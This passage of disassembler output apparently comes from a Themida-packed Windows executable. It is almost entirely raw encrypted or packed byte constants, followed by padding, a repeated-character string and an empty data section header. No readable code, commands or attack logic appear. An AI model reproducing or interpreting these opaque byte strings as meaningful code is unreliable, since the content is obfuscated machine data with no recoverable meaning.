15E0DE1h, 815EEB8Ah dd 0BF09DCC8h, 0EE962h, 0FB1B0000h, 0F17B5C14h, 71FE0BA0h dd 0C4614F63h, 66F87DB7h, 2D4FD281h, 0E8CF8B66h, 14h, 8FD489FFh dd 64068461h, 9ABBE8DEh, 1850440h, 54ED345h, 276F67BAh dd 2DBF5B48h, 660A7B4Fh, 0E848CCBFh, 14h, 0D68A92Fh, 2EBDB55Fh dd 70AA7903h, 0FA40F039h, 753DA402h, 0BE8h, 5DDF4700h dd 970D107Bh, 0DE3CDD0Fh, 9A38F081h, 5B5F19FAh, 666EC180h dd 0F0CEE881h, 0BE9FCh, 0A8690000h, 0B29A3A4h, 0C93DD0F1h dd 0E8DA8B92h, 11h, 4FA7035Ch, 0CCA67A85h, 69C78221h, 8BE0191Fh dd 5B73B18Fh, 0E9F28B66h, 8, 7388D31Fh, 9A1BB2BEh, 880FD3B6h dd 3, 66D3C580h, 901ED381h, 0C68A4BB6h, 0FDEBF0Fh, 588h dd 0C6816600h, 8B66FF58h, 0D58050CFh, 0C9815FC3h, 6037C95Dh dd 8162D880h, 375E07F0h, 0EA81665Fh, 0AE956BBh, 7C000000h dd 132C7669h, 59725559h, 2800F56h, 0B4000000h, 8A0F5090h dd 6, 890Fh, 0E95E0000h, 9, 0C0FD84D6h, 2B4D6D13h, 0AB77BB21h dd 0D08125D1h, 3185C35Fh, 0E9C38B66h, 8, 0E6A64452h, 9342B20Fh dd 12E957h, 0ED10000h, 0E9ADDC9Ch, 13793A17h, 0E849B274h dd 0ED4827Ch, 78A0F59h, 60000000h, 0EF80FA8Bh, 0C18B619Eh dd 1A8A0Fh, 0E9600000h, 10h, 6292881Ch, 33D49D66h, 17E15EEDh dd 0F5D794C2h, 61CEB70Fh, 2062BB66h, 0F88B29B1h, 666FF680h dd 0B7DAD981h, 8AF5CA8Ah, 11E8D9h, 0AF3C0000h, 0BB7AD82Dh dd 2302730Ch, 0F796F139h, 0E9E6F70Bh, 0Ch, 219A183h, 3D88CD41h dd 4198D2F1h, 0C8B70F58h, 0E95AF956h, 0Ch, 0EB5FC3C6h dd 10067846h, 68A1506Eh, 0B804CBAh, 0B45E5641h, 6656FC4Fh dd 8A5FC28Bh, 0EC94BBEAh, 10E92DC5h, 6D000000h, 0BF54C3B5h dd 0AD58DF9Ch, 181CEB4Dh, 81F3A229h, 0C9BF3ED0h, 8A4EB224h dd 14E8CFh, 0F8A40000h, 0EFAB8536h, 551348FBh, 171B7534h dd 0BE10B64Ch, 5BFC5B31h, 884FBE66h, 4820F51h, 66000000h dd 585F28B8h, 27CDC281h, 0E9801A2Eh, 0F081669Dh, 41BA5745h dd 80763FE1h, 81665AE4h, 8B332BF1h, 0FD38BDEh, 0CB80C2BFh dd 665F53BEh, 0E781C38Bh, 67A74339h, 5457CE81h, 0B70F3D85h dd 11870FF8h, 0E9000000h, 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h dd 0FFE8B66h, 582h, 0E847BE00h, 0E3811AD8h, 224430EAh dd 12E9h, 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 804793E4h dd 5E9E8D0h, 85000000h, 59051F45h, 66F98B66h, 870FD18Bh dd 4, 4FFBE66h, 4D2DC181h, 850F3ABEh, 3, 66FEB70Fh, 0F9A0ABBEh dd 0AE8h, 97A71B00h, 0C301DB49h, 5886EF00h, 6DA9E3BBh dd 0CFE28131h, 0F55BD9DFh, 2B84D281h, 0C6811B35h, 3F77D951h dd 0E95EFC57h, 0Ch, 0AF6B1A0h, 0AD213184h, 32F4825Ch dd 61E8DFB9h, 0B9666018h, 8B668065h, 816661F0h, 0B0B03EDEh dd 0A511BA00h, 0D98B58DAh, 0E9CBD380h, 8, 24A24008h, 0DA7DB862h dd 8A25E580h, 12870FE5h, 0E9000000h, 0Dh, 0FB2EA594h, 36FD0AB9h dd 0C9535570h, 660BA58h, 8E0F0D61h, 0Eh, 0CCD18160h, 0F0897B8h dd 8Dh, 0C4806100h, 11E913h, 462A0000h, 6EBA3CD9h, 0B5B91CDAh dd 13FA1377h, 60CBCFCFh, 0E9F3B70Fh, 13h, 0CFF130E3h, 12217CDDh dd 5D4C5492h, 0DE46E9DAh, 61F72CDAh, 12E951h, 12230000h dd 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh, 4810F58h dd 66000000h, 60E5BAB8h, 10830FF8h, 0E9000000h, 0Bh, 9A3725F1h dd 46642E44h, 616EA8E3h, 9E9h, 25B92C00h, 36A8FB0Fh, 14E9F575h dd 0B0000000h, 1660179Fh, 0C7A05DC2h, 0F2CA0ED7h, 105A13D7h dd 66795A92h, 0BB37F281h, 3DE88166h, 0EE816610h, 0CB8143D8h dd 64EE039Bh, 0F079C381h, 8C0F7EE5h, 3, 0F2AC280h, 0E83h dd 9E900h, 0A8D40000h, 115C8A69h, 66CD60B4h, 8166D78Bh dd 0F39BCC8h, 8Fh, 0F3B70F00h, 0E9E38AF5h, 8, 0DFD4D92Eh dd 0ED3C3A80h, 2875A9BFh, 13E87Ah, 0A9900000h, 2D6FE43Bh dd 0BA646298h, 7DA318C6h, 0B6D26F43h, 9AE4BF4Eh, 0F5A7227h dd 84h, 0DF816600h, 0C280D76Bh, 66F18B0Dh, 5A30D981h, 8B665957h dd 88BA66CAh, 0DE9F9FEh, 58000000h, 0C4D8B71Ch, 560CB026h dd 0F2713F3Dh, 1384BE66h, 5820Fh, 81660000h, 0BB72A3CBh dd 0E9D7121h, 0AE9h, 0C2535800h, 6EDFC278h, 0E9FCC8E5h dd 10h, 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h dd 0E9FAB70Fh, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h dd 8166FBBDh, 608E81D9h, 8B66C68Bh, 0BA6661D0h, 8C0F7E5Ch dd 3, 6625E280h, 0F91CABEh, 1A8Dh, 12E800h, 0CB440000h dd 0C21B7A38h, 309FB3F0h, 0E18B827Dh, 0CD5DD1BAh, 0E9586160h dd 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0D8B70F57h, 0BE8h dd 1C28E300h, 2C49DEA7h, 0FD3DDC8Ch, 0F5CB95Eh, 850F61B0h dd 0 dd 8F0Fh, 66530000h, 318BE881h, 0F78B6658h, 7E8C78Bh, 18000000h dd 2B911B7Fh, 0D68099F5h, 0E8F55A93h, 7, 7198E207h, 561027F5h dd 6E9h, 0B435EE00h, 598D4C24h, 4830F58h, 66000000h, 0E9EFACB9h dd 7, 8A392AA1h, 56E9228Ch, 11E9h, 4BB8C000h, 2BBAA35Fh dd 0A29F5524h, 7D08E659h, 605EB3EAh, 0E3816160h, 525686E1h dd 0F43FB861h, 0E6805F2Dh, 14E908h, 41970000h, 0F36C4E08h dd 65676130h, 99F06836h, 91D3D6DDh, 0BB601833h, 6649CEF6h dd 520840BAh, 7B96142h, 0F4C9F4Ch, 380h, 0C1F78000h, 3890Fh dd 0B70F0000h, 0DF8166CFh, 0BB6657B7h, 0D78BB268h, 0EE9A0B0h dd 30000000h, 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 13E9F9h dd 0EC870000h, 0DE26BAC4h, 0D27E58BAh, 0D374322Fh, 98FA768Fh dd 4DA2B9D9h, 81661DDFh, 8A27EAEFh, 0EA80F8D5h, 17800F0Bh dd 60000000h, 0FE9F5h, 18C60000h, 6F437DA3h, 124EB6D2h dd 85998849h, 8B666144h, 0E880FCBh, 0E8000000h, 8, 0D8B1AAF0h dd 0E3A87EEEh, 0EE8F85Fh, 0F000000h, 36D1450Fh, 32D3C93Ch dd 6E55AD90h, 0C6BF0F43h, 0C981665Eh, 8E872DAh, 22000000h dd 7D1A4F36h, 8B7CF474h, 81665AD6h, 80C358DFh, 666061CDh dd 61576CBEh, 13E952h, 64D90000h, 0E1CA476Bh, 0CD4B164Bh dd 0B7E90DFAh, 4B271FFh, 0E2815E6Fh, 3D423C81h, 8E8h, 11904600h dd 577A7C80h, 59DA8BBDh, 1F880Fh, 13E80000h, 50000000h dd 1E249E21h, 9CB740E3h, 0E8D1FF57h, 0E836E594h, 8E0F99C3h dd 0 dd 48E0F5Fh, 66000000h, 51133ABEh, 5E960h, 75760000h, 0F228935h dd 8Dh, 0E85F6100h, 0Ah, 7CCBE80Eh, 0F407C497h, 56B08361h dd 12E95Eh, 2BF50000h, 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h dd 0DC31B9E0h, 6F70ADBEh, 0F3B70F34h, 0BE9h, 1DAE6E00h dd 597BC45Bh, 903A1CEDh, 43E18166h, 0B4DA8136h, 0E9774F0Ch dd 11h, 1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h, 0F8C78B35h dd 0BAF5DF8Bh, 5C65F74Dh, 0AE97B866h, 6E9h, 0DA140900h dd 0E800499Ah, 0Ch, 6FCBE9E9h, 5D9A96AAh, 0F3601A08h, 0B8C98166h dd 66605A55h, 0F081FE8Bh, 27AA442Fh, 56E7B861h, 1B94BBCh dd 0E91DAC78h, 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h dd 0A7FEC971h, 0CE63B966h, 13EE8166h, 5880FE2h, 66000000h dd 6FB6F681h, 0F8F0Fh, 0AE90000h, 0B000000h, 9933C0DDh dd 7E2AD40Eh, 7E9CCh, 42F40000h, 5F5A7035h, 56B853B8h dd 5E3ECCEBh, 0E080DF8Bh, 0C2BB66A6h, 0EE972h, 0E3240000h dd 216A046h, 0B98C77A8h, 0E12B8DC5h, 0F52B6FCh, 0FCF9F9BFh dd 8AD3BF0Fh, 0DD081FCh, 60135A73h, 7E9h, 1E094B00h, 8D5399CEh dd 1F34F5B8h, 0D0816124h, 270DF658h, 0E9C78B66h, 12h, 53FDA90Ah dd 8C97D4D1h, 59D75859h, 514DE381h, 0EF8130DCh, 7D3248E4h dd 79CA8166h, 9E996h, 72DB0000h, 0C2B983AFh, 8BA82AD6h dd 0E9DCB3F8h, 14h, 9BF0FA9Eh, 339E9636h, 28DD631Fh, 0EC737686h dd 3ECB12B0h, 0FCC38B66h, 66FB8B66h, 79FBF181h, 8B0FF18Bh dd 6, 800Fh, 81660000h, 53E5D4D1h, 0F5ADD8Ah, 800FC2B7h dd 0Ch, 7E9h, 0DD6A8C00h, 4285A7E9h, 0BE960h, 0D96B0000h dd 323E60AFh, 537B966Dh, 0F61F997h, 88h, 8E900h, 6E270000h dd 8658B2FDh, 0F552D226h, 91D9815Eh, 665E4276h, 78BFC18Bh dd 576596C2h, 0CC32BA5Bh, 810F1FADh, 4, 5BF7B756h, 6E9h dd 9B973900h, 669B5DBFh, 0F73C3BBh, 58Ah, 0E1816600h, 8166D6A4h dd 51E348DFh, 6820Fh, 870F0000h, 0 dd 0A860F5Eh, 0F000000h, 489h, 6FB96600h, 3850FD0h, 66000000h dd 0BA66FB8Bh, 0B4BA2779h, 0F950BB26h, 0BA66D68Bh, 60519002h dd 10E9h, 820C3C00h, 126980C4h, 0CB7E636Ah, 9A6503BAh dd 5F61F54Ah, 28F0Fh, 0F18B0000h, 0B810Fh, 8D0F0000h, 5 dd 3E103BAh, 0C3B70F65h, 12E8h, 0E2C83B00h, 0B799EA43h dd 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh, 5BA9C0B8h, 81F3BF0Fh dd 742005C3h, 8B0F41h, 66000000h, 14E9D88Bh, 8C000000h dd 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h, 5CD1AA90h dd 410h dup(9A579F60h), 0BDB04760h, 0F3h dup(0BDB04792h) dd 113F4792h, 0ABF1AB8Bh, 172h dup(0ABF19D09h), 9BD2C309h dd 0D9h dup(9BD2C33Ah), 535h dup(26F4A2D0h), 0CCF4A2D0h dd 574h dup(0CCCCCCCCh) db 3 dup(0CCh) asc_5D4D5B db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: ___:off_43162Co db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллл',0 align 1000h Themida_ ends ; Section 5. (virtual address 001D6000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001D6000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5D6000h dd 80h dup(0) align 1000h _idata2 ends end start